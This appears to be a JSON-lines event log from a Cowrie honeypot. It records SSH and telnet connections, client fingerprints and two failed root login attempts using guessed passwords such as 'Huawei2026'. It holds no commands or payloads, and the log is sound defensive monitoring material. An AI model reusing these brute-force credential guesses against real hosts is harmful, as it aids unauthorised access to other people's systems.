{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:44.988062Z","src_ip":"191.255.52.36","session":"edc22603901e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33294,"dst_ip":"10.17.0.5","dst_port":23,"session":"564aabdee6d8","protocol":"telnet","message":"New connection: 80.241.210.166:33294 (10.17.0.5:23) [session: 564aabdee6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:45.469350Z"}
{"eventid":"cowrie.session.closed","duration":31.844427585601807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:45.584667Z","src_ip":"80.241.210.166","session":"b29ab45e7334","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123$","message":"login attempt [root/asdf123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:45.624459Z","src_ip":"191.255.52.36","session":"edc22603901e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06462001800537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:46.727974Z","src_ip":"80.241.210.166","session":"b274385b1648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:46.763283Z","src_ip":"191.255.52.36","session":"edc22603901e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.769356727600098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:46.900009Z","src_ip":"80.241.210.166","session":"b787264d8d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":33644,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f99fdbf8f79","protocol":"ssh","message":"New connection: 114.141.59.195:33644 (159.203.135.109:22) [session: 6f99fdbf8f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:47.244883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:47.249648Z","src_ip":"114.141.59.195","session":"6f99fdbf8f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35268,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36512d621d1","protocol":"telnet","message":"New connection: 80.241.210.166:35268 (10.17.0.5:23) [session: a36512d621d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:47.341521Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:47.493544Z","src_ip":"114.141.59.195","session":"6f99fdbf8f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.532087326049805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:47.512373Z","src_ip":"80.241.210.166","session":"4fdcd45842e3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei2026","message":"login attempt [root/Huawei2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:48.490510Z","src_ip":"114.141.59.195","session":"6f99fdbf8f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.331857442855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:49.146230Z","src_ip":"80.241.210.166","session":"34f89b909596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735093116760254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:49.152558Z","src_ip":"80.241.210.166","session":"7730c1c273c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:49.731344Z","src_ip":"114.141.59.195","session":"6f99fdbf8f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24983525276184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:50.228814Z","src_ip":"80.241.210.166","session":"4081013468c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37752,"dst_ip":"10.17.0.5","dst_port":23,"session":"a04d27a9ce61","protocol":"telnet","message":"New connection: 80.241.210.166:37752 (10.17.0.5:23) [session: a04d27a9ce61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:50.327568Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38008,"dst_ip":"10.17.0.5","dst_port":23,"session":"395e84fc7a8f","protocol":"telnet","message":"New connection: 80.241.210.166:38008 (10.17.0.5:23) [session: 395e84fc7a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:50.627011Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":39440,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2e7b00bfcf","protocol":"telnet","message":"New connection: 80.241.210.166:39440 (10.17.0.5:23) [session: 6c2e7b00bfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:51.868284Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a421d53d06","protocol":"telnet","message":"New connection: 80.241.210.166:41244 (10.17.0.5:23) [session: 10a421d53d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:52.716542Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41718,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d1d32629c5","protocol":"telnet","message":"New connection: 80.241.210.166:41718 (10.17.0.5:23) [session: e9d1d32629c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:53.032085Z"}
{"eventid":"cowrie.session.closed","duration":30.647547483444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:53.228317Z","src_ip":"80.241.210.166","session":"20a555116f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26052713394165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:53.251329Z","src_ip":"80.241.210.166","session":"02e82da0005b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67545461654663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:54.508027Z","src_ip":"80.241.210.166","session":"eab5844f8313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":46572,"dst_ip":"10.17.0.5","dst_port":23,"session":"614d6a507feb","protocol":"telnet","message":"New connection: 80.241.210.166:46572 (10.17.0.5:23) [session: 614d6a507feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:58.014281Z"}
{"eventid":"cowrie.session.closed","duration":31.15264654159546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:59.269606Z","src_ip":"80.241.210.166","session":"f32fadc738d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48734,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be50edc533c","protocol":"telnet","message":"New connection: 80.241.210.166:48734 (10.17.0.5:23) [session: 9be50edc533c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:59.958978Z"}
{"eventid":"cowrie.session.closed","duration":30.855786085128784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:00.206445Z","src_ip":"80.241.210.166","session":"318f676b2d3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"7713d649b45a","protocol":"telnet","message":"New connection: 80.241.210.166:50572 (10.17.0.5:23) [session: 7713d649b45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:00.335319Z"}
{"eventid":"cowrie.session.closed","duration":31.29375457763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:00.443515Z","src_ip":"80.241.210.166","session":"d479f6be6c9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52116,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a13eba37fd","protocol":"telnet","message":"New connection: 80.241.210.166:52116 (10.17.0.5:23) [session: 81a13eba37fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:01.418194Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":49116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5bec34566ef","protocol":"telnet","message":"New connection: 80.241.210.166:49116 (10.17.0.5:23) [session: a5bec34566ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:02.310708Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53422,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b506408283","protocol":"telnet","message":"New connection: 80.241.210.166:53422 (10.17.0.5:23) [session: d7b506408283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:02.732800Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54124,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ab712f93e3","protocol":"telnet","message":"New connection: 80.241.210.166:54124 (10.17.0.5:23) [session: 95ab712f93e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:03.429503Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54218,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a1392f2ad6","protocol":"telnet","message":"New connection: 80.241.210.166:54218 (10.17.0.5:23) [session: e8a1392f2ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:03.897606Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54668,"dst_ip":"10.17.0.5","dst_port":23,"session":"e951078c83b9","protocol":"telnet","message":"New connection: 80.241.210.166:54668 (10.17.0.5:23) [session: e951078c83b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:04.013536Z"}
{"eventid":"cowrie.session.closed","duration":30.96278142929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:05.356722Z","src_ip":"80.241.210.166","session":"ab1e8d62a148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58002,"dst_ip":"10.17.0.5","dst_port":23,"session":"2552b847239e","protocol":"telnet","message":"New connection: 80.241.210.166:58002 (10.17.0.5:23) [session: 2552b847239e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:06.552041Z"}
{"eventid":"cowrie.session.closed","duration":31.58483648300171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:07.996550Z","src_ip":"80.241.210.166","session":"78da71ea798c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37367010116577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:08.650843Z","src_ip":"80.241.210.166","session":"04cf5404df6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49847722053528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:08.664896Z","src_ip":"80.241.210.166","session":"c483eb0c885c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4046790599823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:09.062290Z","src_ip":"80.241.210.166","session":"bcc6a118ffbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.158878326416016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:09.230521Z","src_ip":"80.241.210.166","session":"c46887c05ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"50212ed86758","protocol":"telnet","message":"New connection: 80.241.210.166:32904 (10.17.0.5:23) [session: 50212ed86758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:09.420297Z"}
{"eventid":"cowrie.session.closed","duration":31.187607765197754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:11.118341Z","src_ip":"80.241.210.166","session":"a932a53d3511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166632175445557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:11.234516Z","src_ip":"80.241.210.166","session":"1a541ef5ce16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33982,"dst_ip":"10.17.0.5","dst_port":23,"session":"5defd47b9d80","protocol":"telnet","message":"New connection: 80.241.210.166:33982 (10.17.0.5:23) [session: 5defd47b9d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:11.240782Z"}
{"eventid":"cowrie.session.closed","duration":30.99042057991028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:11.393619Z","src_ip":"80.241.210.166","session":"b473bbd184c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795380353927612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:14.166596Z","src_ip":"80.241.210.166","session":"28d56f670d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37918,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8876e2ba14c","protocol":"telnet","message":"New connection: 80.241.210.166:37918 (10.17.0.5:23) [session: c8876e2ba14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:14.468341Z"}
{"eventid":"cowrie.session.closed","duration":32.59919047355652,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:14.816085Z","src_ip":"80.241.210.166","session":"02d763a25de1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"b287530569eb","protocol":"telnet","message":"New connection: 80.241.210.166:38800 (10.17.0.5:23) [session: b287530569eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:15.129789Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"79b2bf8a9f6a","protocol":"telnet","message":"New connection: 80.241.210.166:41764 (10.17.0.5:23) [session: 79b2bf8a9f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:16.707395Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41870,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0dfd1990275","protocol":"telnet","message":"New connection: 80.241.210.166:41870 (10.17.0.5:23) [session: b0dfd1990275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:16.755872Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":40824,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce4f3941125c","protocol":"telnet","message":"New connection: 80.241.210.166:40824 (10.17.0.5:23) [session: ce4f3941125c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:16.868514Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":42322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e57d14406f3","protocol":"telnet","message":"New connection: 80.241.210.166:42322 (10.17.0.5:23) [session: 4e57d14406f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:17.145937Z"}
{"eventid":"cowrie.session.closed","duration":32.386549949645996,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:17.855792Z","src_ip":"80.241.210.166","session":"564aabdee6d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96228337287903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:18.303724Z","src_ip":"80.241.210.166","session":"a36512d621d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":44832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b295b809fd","protocol":"telnet","message":"New connection: 80.241.210.166:44832 (10.17.0.5:23) [session: a4b295b809fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:19.472701Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45060,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cbf88dd1ec6","protocol":"telnet","message":"New connection: 80.241.210.166:45060 (10.17.0.5:23) [session: 2cbf88dd1ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:19.943745Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45352,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebcb4069851","protocol":"telnet","message":"New connection: 80.241.210.166:45352 (10.17.0.5:23) [session: 8ebcb4069851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:20.251937Z"}
{"eventid":"cowrie.session.closed","duration":30.85448431968689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:21.181797Z","src_ip":"80.241.210.166","session":"a04d27a9ce61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057371854782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:21.684266Z","src_ip":"80.241.210.166","session":"395e84fc7a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47376,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eb993bfe2ad","protocol":"telnet","message":"New connection: 80.241.210.166:47376 (10.17.0.5:23) [session: 2eb993bfe2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:21.781567Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47590,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8cee1a27d4","protocol":"telnet","message":"New connection: 80.241.210.166:47590 (10.17.0.5:23) [session: da8cee1a27d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:21.880952Z"}
{"eventid":"cowrie.session.closed","duration":31.16389298439026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:23.032027Z","src_ip":"80.241.210.166","session":"6c2e7b00bfcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58468508720398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:23.301098Z","src_ip":"80.241.210.166","session":"10a421d53d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55d3f55a9f8","protocol":"telnet","message":"New connection: 80.241.210.166:48312 (10.17.0.5:23) [session: c55d3f55a9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:23.773115Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50224,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a5dd2d1b46","protocol":"telnet","message":"New connection: 80.241.210.166:50224 (10.17.0.5:23) [session: e2a5dd2d1b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:24.080599Z"}
{"eventid":"cowrie.session.closed","duration":31.06962513923645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:24.101599Z","src_ip":"80.241.210.166","session":"e9d1d32629c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50684,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a75d38cbe3","protocol":"telnet","message":"New connection: 80.241.210.166:50684 (10.17.0.5:23) [session: 33a75d38cbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:24.389010Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50222,"dst_ip":"10.17.0.5","dst_port":23,"session":"24055a0acbd0","protocol":"telnet","message":"New connection: 80.241.210.166:50222 (10.17.0.5:23) [session: 24055a0acbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:28:25.070409Z"}
